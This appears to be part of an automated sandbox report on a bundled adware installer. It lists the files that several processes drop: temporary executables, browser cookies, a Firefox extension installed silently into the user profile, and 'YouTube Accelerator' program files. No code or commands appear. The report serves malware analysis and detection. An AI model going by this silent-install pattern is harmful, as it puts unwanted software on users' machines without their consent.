C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\Vlwgfsqfpaz.exe (27087827 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\FacebookIsGod.dll (2552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp\Qzcggrhivnxb.tmp (455919 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz84A.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (167333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\19615.bat (411 bytes)

The process biclient.exe:716 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\c6f36ae09f7b3c4993073c407a485e5f[1].htm (33832 bytes)

The process biclient.exe:1640 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.6 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe (70615 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GHME3KXC.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ga[1].js (22248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EUFXAUGS.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OXZL0XDP.txt (548 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\CYT3XJL5.txt (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.7 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\554f1a32df4546428c4cd4ba3636f283[1].htm (44520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.5 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.4 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.3 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.2 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.1 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FreeZip920.exe.0 (9760 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\freezip[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IVX5SNTJ.txt (688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula[1].htm (1059 bytes)

The process biclient.exe:600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (960 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp (41486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\fc5acaef92544d4d9ad600d2a201e613[1].htm (36484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\13BE.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[2].png (1277 bytes)

The process 11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe:3808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\03afa64119f70e1aebbe898c1b5da437.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b2e7327e3ac0e48bdfe0f2ee52c9bfcf.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b9f5ee3c3d06e3f31441702c458c077e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c422d0a33c0be34d39a93687c738b5f0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2edcf1d6343b69377b1b5ab704fc0dba.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cb61f016464902e3e7abde750ef80ba6.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ddf2e4e66be71a3aa501f0f1d81c9768.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6acae8acaae3dc3de618c70dcea92ac0.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\97f2d9400f4f41e0a004435861570a3b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (611 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ab9e8724735655aca91d2a7b089e2a0b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\6f853c3a67c26281e0f08b3f48ebe9f2.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2b28a69712a27f77ea83be613b1b130b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\651148047984925c52db469330db90bf.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\407fbe3700b14ae5bb1391d614260019.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c61ce4124d823fd35688eed80827a81c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\dbe88a314f000d3b15042465fdf21cc5.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7b5b2cd1ed885911b763748de0e62fac.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5f811dd3d0ee0431837525a50e825c15.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\adef4cf34f09c97ddf05ee0f7b152b30.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7df47bd2f0a36fc56fb4d5f85d879331.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f183a1c9337b10ab3663860e202a82b3.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6e6d2fa3e2de0ad6f80c88dde043160a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\589ae49080bbcf5ef005df42c5431597.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ebfd80fa6c60ea67c1d52c5d9ab644bf.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\911be52d07701495078e83a9206b167f.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04e8dd99d8507cb819f5842891bb38e1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9774056cfe57a06b996430a878d9f2bd.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\c11ef8a5aa8ffdad3fc716ad6936ea56.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\bf8b21d3242abeb0ac0b4bad994e9dad.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c0199a124990378c5a0d61a8fe029843.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8d67ab46bd5bcae77c6c6b11b5654720.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\96535ae26022e95205336b6fd0dfa30b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\40fbad884e8b31bac377f4b3b4234a30.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\872632d4dba5c171e72a42614d2bf42b.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d2eb933c47d0580044f729e920ee557c.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a5d8eadabd69a1a5fd8936768f25760f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f4df6139b485e8441ead85439d9b0e50.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c262c0e9c94427dc9ed88ee28c1a65df.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\527da7a7cda8dba99ce791702fd18eae.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0cb63f7cf6b8159c4f9788d9ed18275e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\4d651c7925db39b85b6a733479754503.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\17f548e3cc7f3ff5ea90135d36d5617d.js (804 bytes)

The process GLB1A53.tmp:2896 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
